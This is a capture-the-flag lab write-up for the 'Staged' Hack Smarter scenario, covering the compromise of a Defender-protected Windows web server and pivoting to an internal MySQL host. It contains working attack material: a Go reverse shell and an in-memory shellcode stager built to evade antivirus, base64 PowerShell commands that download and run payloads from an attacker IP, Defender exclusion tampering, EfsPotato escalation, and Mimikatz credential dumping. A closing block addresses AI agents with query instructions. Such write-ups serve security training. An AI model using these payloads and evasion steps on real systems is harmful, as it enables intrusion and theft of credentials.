# Staged

{% embed url="<https://www.hacksmarter.org/courses/5e8ff30a-d814-42c4-9b88-2f66f2592a8a>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

You are a member of the **Hack Smarter Red Team** and have been assigned to perform a black-box penetration test against a client's critical infrastructure. The scope is strictly limited to the following hostnames:

* **web.hacksmarter:** Public-facing Windows Web Server (Initial Access Point). **Windows Defender is enabled.**
* **sqlsrv.hacksmarter:** Internal Linux MySQL Database Server.

The exercise is considered **complete** upon successfully retrieval the final flag from `sqlsrv.hacksmarter`

Any activity outside of these two hosts or their associated network interfaces is strictly prohibited.

**Lab Starting Point**

During the beginning of the engagement, another operator exploited a file upload vulnerability, and they have provided you with a web shell.

`http://web.hacksmarter/hacksmarter/shell.php?cmd=whoami`

## Summary

<details>

<summary>Summary - NonSliverC2 Approach</summary>

In Staged we begin with a pre-established web shell on a public-facing Windows server and weaponize it to deploy an undetected Go-based reverse shell, establishing stable command execution as `j.smith`. Enumerating privileges reveals `SeImpersonatePrivilege`, enabling exploitation through EfsPotato to escalate to `NT AUTHORITY\SYSTEM`. With full system privileges, we bypass Windows Defender restrictions, execute Mimikatz, and extract NTLM hashes for multiple users, successfully cracking credentials for `p.richardson`. To pivot into the internal network, we deploy Ligolo-ng to tunnel traffic through the compromised web server and access the internal MySQL server. Authenticating as `p.richardson`, we enumerate the `hacksmart_db` database and retrieve the final flag from the `final_config` table, completing full compromise of the target environment through privilege escalation, credential extraction, and network pivoting.

</details>

## Recon

We use rustscan `-b 500 -a web.hacksmarter -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
 rustscan -b 500 -a web.hacksmarter -- -sC -sV -Pn
```

<figure><img src="/files/uld8BrgHvR1BVBNd6zrq" alt=""><figcaption></figcaption></figure>

Among the open ports, we have ports `80`, `443`, and `3389`.

<figure><img src="/files/unA1fHv97MSFZAQQ6yRr" alt=""><figcaption></figcaption></figure>

We run rustscan on `sqlsrv.hacksmarter` with  `-b 500 -a sqlserver.hacksmarter -- -sC -sV -Pn` too to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

But only have port 22 available asdescribed in the scenario.

```
rustscan -b 500 -a sqlsrv.hacksmarter -- -sC -sV -Pn
```

<figure><img src="/files/c1ac9q240TFtlAhDTBvH" alt=""><figcaption></figcaption></figure>

## Non-SliverC2 Approach

### Shell as j.smith on web.hacksmarter

As described in the scenario we already have a web shell available at `http://web.hacksmarter/hacksmarter/shell.php?cmd=`. We test these and have access as `j.smith`.

```
curl 'http://web.hacksmarter/hacksmarter/shell.php?cmd=whoami'
```

<figure><img src="/files/EbtCz6PzRR6CCN1Mp4gi" alt=""><figcaption></figcaption></figure>

We know from the scenario that Windows Defender is active. For a more interactive shell, we use our go reverse shell, which has remained undetected so far.

{% code title="0xb0b.go" overflow="wrap" lineNumbers="true" %}

```go
package main

import (
    "net"
    "os/exec"
)

func main() {
    c, _ := net.Dial("tcp", "10.200.24.50:443")
    cmd := exec.Command("powershell")
    cmd.Stdin = c
    cmd.Stdout = c
    cmd.Stderr = c
    cmd.Run()
}
```

{% endcode %}

We compile the reverse shell as follows on our Exegol instance:

```
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -o 0xb0b.exe 0xb0b.go
```

<figure><img src="/files/y1J6F60fKqq4xpdAZZ4D" alt=""><figcaption></figcaption></figure>

Next, we run a listener to catch the reverse shell. For this purpose we use Penelope:

{% embed url="<https://github.com/brightio/penelope>" %}

```
penelope -p 443
```

<figure><img src="/files/IA3zLtcfGbBBmeA2dDpZ" alt=""><figcaption></figcaption></figure>

Next, we prepare a Powershell payload that downloads our reverse shell from our web server and then executes it. We encode this payload so that we don't encounter any problems with the web shell during execution with regard to special characters, etc.

{% code overflow="wrap" %}

```
printf '%s' 'IWR http://10.200.24.50/0xb0b.exe -OutFile $env:TEMP\0xb0b.exe; Start-Process $env:TEMP\0xb0b.exe' \
| iconv -f UTF-8 -t UTF-16LE \
| base64 -w 0
```

{% endcode %}

We'll receive the following base64 encoded command.

{% code overflow="wrap" %}

```
SQBXAFIAIABoAHQAdABwADoALwAvADEAMAAuADIAMAAwAC4AMgA0AC4ANQAwAC8AMAB4AGIAMABiAC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGUAbgB2ADoAVABFAE0AUABcADAAeABiADAAYgAuAGUAeABlADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AFQARQBNAFAAXAAwAHgAYgAwAGIALgBlAHgAZQA=
```

{% endcode %}

Next, we run a python web server.

```
python -m http.server 80
```

With the web server and Penelope listener prepared, we execute the payload.

{% code overflow="wrap" %}

```
curl 'http://web.hacksmarter/hacksmarter/shell.php?cmd=powershell.exe+-e+SQBXAFIAIABoAHQAdABwADoALwAvADEAMAAuADIAMAAwAC4AMgA0AC4ANQAwAC8AMAB4AGIAMABiAC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGUAbgB2ADoAVABFAE0AUABcADAAeABiADAAYgAuAGUAeABlADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AFQARQBNAFAAXAAwAHgAYgAwAGIALgBlAHgAZQA='
```

{% endcode %}

<figure><img src="/files/I2X4XUDLuz4wwiB1YLcs" alt=""><figcaption></figcaption></figure>

The reverse shell gets downloaded,...

<figure><img src="/files/4UkJks06ikPUJSwC7ZI1" alt=""><figcaption></figcaption></figure>

..., and we receive a connection back to our listener.

<figure><img src="/files/1I3xZgidrgJP72tlUqBH" alt=""><figcaption></figcaption></figure>

### Shell as NT AUTHORITY/SYSTEM on web.hacksmarter

We check which privileges are set for the user and see that `SeImpersonatePrivilege` is enabled.

The `SeImpersonatePrivilege` is a powerful Windows privilege that allows a user or process to impersonate another user's security context. There are several potato exploits for this.&#x20;

<figure><img src="/files/r22TSkUqRMSzC2WH2rlq" alt=""><figcaption></figcaption></figure>

Since the AV is very strict, we try the EfsPotato exploit. This needs to be compiled on the target system.

{% embed url="<https://github.com/zcgonvh/EfsPotato>" %}

We look for a `csc` compiler on the machine at `C:\Windows\Microsoft.Net\Framework\`...

```
ls C:\Windows\Microsoft.Net\Framework\
```

<figure><img src="/files/mjzUrl6ypMeUDIB5Ff08" alt=""><figcaption></figcaption></figure>

... and have one ready at:

```
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe
```

We download the source of the EfsPotato exploit.

```
curl http://10.200.24.50/EfsPotato.cs -o ./EfsPotato.cs
```

To compile the binary we issue the following command like suggested in the repository.

{% code overflow="wrap" %}

```
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /platform:x86 EfsPotato.cs -nowarn:1691,618
```

{% endcode %}

<figure><img src="/files/scEIPGOgVLmAiaRa7QpZ" alt=""><figcaption></figcaption></figure>

Next, we want to use the exploit to run our reverse shell in the context of NT AUTHORITY/SYSTEM. The binary is located in `C:\Users\j.smith\AppData\Local\Temp\0xb0b.exe`

<figure><img src="/files/WrdZj5lhJGQhcdVl5fxQ" alt=""><figcaption></figcaption></figure>

We issue the following command to execute the reverse shell binary in the context of NT Authority System.&#x20;

Since we use Penelope, we don't have to go to the trouble of creating, uploading, and executing a new reverse shell with a different port and a different listener. The Penelope listener recognizes a new connection on the same port and automatically creates a new session. In this case, `session 2`. Using `CTRL+D`, we detach our session and switch to session 2 using the `session` command. We are now NT AUTHORITY/SYSTEM.

```
.\EfsPotato.exe "cmd.exe /C C:\Users\j.smith\AppData\Local\Temp\0xb0b.exe"
```

<figure><img src="/files/sIEibbqZHOLWxGAel0Sf" alt=""><figcaption></figcaption></figure>

From our initial enumeration, we find not only `j.smith` but also users `b.morgan` and `p.richardson`.

<figure><img src="/files/J13CA22lOncHoYcti9JY" alt=""><figcaption></figcaption></figure>

Since we are NT Authority System we try to run Mimikatz to extract all available credentials from the LSASS memory. Defender is enabled, so the execution of Mimikatz gets prevented and the file deleted. We try to disable the `RealtimeMonitoring`, but without success. &#x20;

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

But setting an exception path seems to work.

```
Add-MpPreference -ExclusionPath C:\Users\j.smith
```

Next, we download and execute Mimikatz.

```
curl http://10.200.24.50/mimikatz.exe -o ./mimikatz.exe
```

```
./mimikatz.exe
```

We elevate privileges to SYSTEM level and...

```
privilege::debug
```

... try to extract all available credentials from LSASS memory. We are able to retrieve the NTLM hashes of `p.richardson` and `j.smith`&#x20;

```
sekurlsa::logonpasswords
```

A clear cheat sheet for Mimikatz can be found here:

{% embed url="<https://hackviser.com/tactics/tools/mimikatz>" %}

<figure><img src="/files/3i6GUvudcCZSFheeZU7m" alt=""><figcaption></figcaption></figure>

We try to crack the NTLM hashes and are successful for the user `p.richardson`.

```
hashcat -a0 -m 1000 'REDACTED' /usr/share/wordlists/rockyou.txt --show
```

<figure><img src="/files/MunqnMeq7EnDEdZnmfot" alt=""><figcaption></figcaption></figure>

Now that we have a username and password, we can try to access the SQL Server. Since we are restricted by segmentation and may not be able to reach all services of the `sqlsrv.hacksmarter` machine from our attacker machine, we set up a tunnel using Ligolo.

### Ligolo-ng Setup

For the subsequent phases, we use Ligolo to relay traffic between the target machine and our attacker machine to make the internal reachable networks of the target machine accessible to our attacker machine.

> **Ligolo-ng** is a *simple*, *lightweight* and *fast* tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a **tun interface** (without the need of SOCKS).

First, we start the proxy server and set up a TUN (network tunnel) interface called `staged` and configuring routes to forward traffic for specific IP ranges (`240.0.0.1`, `10.0.18.213/32`) through the tunnel.

```
sudo ./proxy -selfcert
```

```
ifcreate --name staged
```

```
route_add --name staged --route 240.0.0.1/32
```

```
route_add --name staged --route 10.0.18.213/32
```

<figure><img src="/files/AaCY9rdTzfZ8LuZxe21g" alt=""><figcaption></figcaption></figure>

Next, we download and run the agent on the target machine.

```
curl http://10.200.24.50/agent.exe -o ./agent.exe
```

```
./agent -connect 10.200.24.50:11601 --ignore-cert
```

<figure><img src="/files/ygCcQpITHSGMemngxTKb" alt=""><figcaption></figcaption></figure>

We get a message on our Ligolo-ng proxy that an agent has joined. We use `session` to select the session and then `tunnel_start --tun staged` to run the tunnel. We are now able to to reach out to `10.0.18.213/32` fully.

```
session
```

```
tunnel_start --tun staged
```

<figure><img src="/files/kIwMHaLGIWvxB4tFslZC" alt=""><figcaption></figcaption></figure>

### Recon on sqlsrv.hacksmarter

We rerun our rustscan and are able to detect the open port `3306`.

```
rustscan -b 500 -a sqlsrv.hacksmarter -- -sC -sV -Pn
```

<figure><img src="/files/Fn7E5M5hTlSQDRrAWkao" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/TzeleEAFXVIBjVoLqgFw" alt=""><figcaption></figcaption></figure>

### Access as p.richardson on sqlsrv.hacksmarter

We try to connect to the sql service using the credentials found before and gain access.

```
mysql -h sqlsrv.hacksmarter -u p.richardson -p
```

The database enumeration reveals `hacksmart_db`, containing the `final_config` table where the final flag is stored.

```
select * from final_config;
```

<figure><img src="/files/5WFRAONkXDpEKu74Jx7n" alt=""><figcaption></figcaption></figure>

## SliverC2 Approach

The following section describes an approach using SliverC2. Here, we will use a custom stager, which is a modification of the nim stager from the SliverC2 course <https://www.hacksmarter.org/courses/dcb55e7c-6205-4ad2-92b7-7c8fcd71faad> of Tyler Ramsbey and is written in Go instead. Using this stager, we want to initially bypass detection by the Defender because it leverages a lesser-known programming language. Furthermore it executes the payload directly from memory to evade file-based and behavioral analysis. From the gained session we try to use the SliverC2 Framework with all its possibilities. I am still learning SliverC2 myself and cannot guarantee the most elegant, evasive solution.

### Shell as j.smith on web.hacksmarter

#### Prepare a custom stager

First we need to prepare the stager.

The stager fetches raw shellcode from a chosen url and loads it directly into memory as bytes. The payload is not embedded in the binary, allowing it to be changed without recompiling.

It calls `VirtualAlloc` to reserve and commit memory with execute, read, and write permissions, then copies the downloaded shellcode into that memory using unsafe pointer operations.

The execution is transferred to the allocated memory address using `syscall.Syscall`, handing control to the shellcode.&#x20;

{% code title="stager.go" overflow="wrap" lineNumbers="true" expandable="true" %}

```go
// +build windows

package main

import (
	"io"
	"net/http"
	"syscall"
	"unsafe"
)

var (
	kernel32            = syscall.NewLazyDLL("kernel32.dll")
	procVirtualAlloc    = kernel32.NewProc("VirtualAlloc")
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

func downloadShellcode(url string) ([]byte, error) {
	resp, err := http.Get(url)
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()

	return io.ReadAll(resp.Body)
}

func executeShellcode(shellcode []byte) {
	addr, _, err := procVirtualAlloc.Call(
		0,
		uintptr(len(shellcode)),
		MEM_COMMIT|MEM_RESERVE,
		PAGE_EXECUTE_READWRITE,
	)
	if addr == 0 {
		panic(err)
	}

	// Copy shellcode into allocated memory
	for i := 0; i < len(shellcode); i++ {
		*(*byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i]
	}

	// Execute shellcode
	syscall.Syscall(addr, 0, 0, 0, 0)
}

func main() {
	url := "http://10.200.24.50/shellc.bin"

	shellcode, err := downloadShellcode(url)
	if err != nil {
		panic(err)
	}

	executeShellcode(shellcode)
}
```

{% endcode %}

We compile the stager as follows on our exegol instance:

```
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -o stager.exe stager.go
```

<figure><img src="/files/GbBXGgK9Y7Ct84jUG0Zp" alt=""><figcaption></figcaption></figure>

#### Generate shell code

{% hint style="info" %}
During generation without the `-G` tag, which disables the encoder, no shellcode could be successfully generated. The resulting shellcode was always empty. This may be related to the underlying architecture on which I am operating, namely ARM:

<https://github.com/BishopFox/sliver/issues/1114>
{% endhint %}

Next, we need to generate the shell code. We do this as follows:

{% code overflow="wrap" %}

```
generate --mtls 10.200.24.50:443 --os windows --arch amd64 --format shellcode -G --save /workspace/hacksmarter/staged/shellc.bin
```

{% endcode %}

<figure><img src="/files/DD3YFYF8H2rGY0z6P20S" alt=""><figcaption></figcaption></figure>

#### Setup listener

We set up the listener.

```
mtls --lhost 10.200.24.50 --lport 443
```

<figure><img src="/files/vSqmH3ZJ57MbwUWfjaOA" alt=""><figcaption></figcaption></figure>

#### Run web server

And run a web server from which the stager and the shellcode can be fetched.

```
python3 -m http.server 80  
```

<figure><img src="/files/QXMdVzW6Ip5PwFyJ3KBh" alt=""><figcaption></figcaption></figure>

#### Download and execute stager

As before, we prepare the payload for downloading and executing the stager. We encode this payload so that we don't encounter any problems with the web shell during execution with regard to special characters, etc.

{% code overflow="wrap" %}

```
printf '%s' 'IWR http://10.200.24.50/stager.exe -OutFile $env:TEMP\stager.exe; Start-Process $env:TEMP\stager.exe' \
| iconv -f UTF-8 -t UTF-16LE \
| base64 -w 0
```

{% endcode %}

<figure><img src="/files/STbADbPoo3AVXj6xWnc3" alt=""><figcaption></figcaption></figure>

We'll receive the following base64 encoded command.

{% code overflow="wrap" %}

```
SQBXAFIAIABoAHQAdABwADoALwAvADEAMAAuADIAMAAwAC4AMgA0AC4ANQAwAC8AcwB0AGEAZwBlAHIALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB0AGEAZwBlAHIALgBlAHgAZQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB0AGEAZwBlAHIALgBlAHgAZQA=
```

{% endcode %}

With the web server prepared, we execute the payload.

{% code overflow="wrap" %}

```
curl 'http://web.hacksmarter/hacksmarter/shell.php?cmd=powershell.exe+-e+SQBXAFIAIABoAHQAdABwADoALwAvADEAMAAuADIAMAAwAC4AMgA0AC4ANQAwAC8AcwB0AGEAZwBlAHIALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB0AGEAZwBlAHIALgBlAHgAZQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB0AGEAZwBlAHIALgBlAHgAZQA='
```

{% endcode %}

<figure><img src="/files/ZBxyzNSYrfbRGCwF4Rdi" alt=""><figcaption></figcaption></figure>

We see that the stager and the shellcode gets downloaded...

<figure><img src="/files/r5ZuN5i2IKhxynigFmqw" alt=""><figcaption></figcaption></figure>

... and executed. We receive a session in SliverC2.

```
sessions
```

```
sessions -i b7036489
```

<figure><img src="/files/2ObhSrnFQbqFUYZNlPQa" alt=""><figcaption></figcaption></figure>

Without spawning a shell we can retrieve the current user and the privileges. We have `SeImpersonatePrivilege` enabled.

```
whoami
```

```
getprivs
```

<figure><img src="/files/2RxJhZNDhRG6wfoyaCsj" alt=""><figcaption></figcaption></figure>

### Shell as NT AUTHORITY/SYSTEM on web.hacksmarter

{% hint style="info" %}
Unfortunately, I couldn't find a tool in Armory that conveniently uses this privilege, so I used the same approach as before with EfsPotato.
{% endhint %}

{% embed url="<https://github.com/zcgonvh/EfsPotato>" %}

We upload the source...

```
upload EfsPotato.cs
```

<figure><img src="/files/RDk2Kim15vchIs4zzaus" alt=""><figcaption></figcaption></figure>

... and compile the exploit

{% code overflow="wrap" %}

```
execute cmd.exe -- /c "C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /platform:x86 /out:C:\xampp\htdocs\hacksmarter\EfsPotato.exe C:\xampp\htdocs\hacksmarter\EfsPotato.cs"
```

{% endcode %}

<figure><img src="/files/OCDtuFXFFmwzonGqAI62" alt=""><figcaption></figcaption></figure>

Next, we use the EfsPotato exploit to run our stager as `NT AUTHORITY SYSTEM`. We receive a session.

```
execute EfsPotato.exe "cmd.exe /C C:\Users\j.smith\AppData\Local\Temp\stager.exe"
```

```
sessions -i ed9842b0
```

<figure><img src="/files/gRZhC0BZz6Zf1YAcqu3S" alt=""><figcaption></figcaption></figure>

Inside that session we can run mimikatz, a tool downloaded using armory. Although Defender is active, we can use this, but it kills our session after execution. Still, it's enough to harvest valuable credentials.

```
mimikatz -- sekurlsa::logonpasswords
```

<figure><img src="/files/Pfo0DQ7I7juYtj62hD7n" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ih9OvZkqvPqLBlpAGcY2" alt=""><figcaption></figcaption></figure>

We try to crack the NTLM hashes and are successful for the user `p.richardson`.

```
hashcat -a0 -m 1000 'REDACTED' /usr/share/wordlists/rockyou.txt --show
```

<figure><img src="/files/SH4EtyEz4gja72eB1pBv" alt=""><figcaption></figcaption></figure>

Now that we have a username and password, we can try to access the SQL Server.&#x20;

### Access as p.richardson on sqlsrv.hacksmarter

Instead of setting up Ligolo-ng we issue `socks5 start` to launch a local SOCKS5 proxy that tunnels traffic through our active session.

```
socks5 start
```

<figure><img src="/files/jjEAfJqv2NN31EDRuCVZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Mx9IG6Fx11ES12OvtGjR" alt=""><figcaption></figcaption></figure>

Next, we can use proxychains to reach out to `sqlsrv.hacksmarter`.

```
proxychains nmap -sT -Pn -n -p 22,3306 sqlsrv.hacksmarter
```

<figure><img src="/files/wwEWPGqeuhwLUwOagVSQ" alt=""><figcaption></figcaption></figure>

Via proxychains we are now able to connect to the SQL service on port 3306 with the credentials of `p.richardson` and find the final flag.

```
proxychains -q mysql -h sqlsrv.hacksmarter -u p.richardson -p
```

<figure><img src="/files/ZPcxiOV8Xj7Xfzg6TKA0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/staged.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
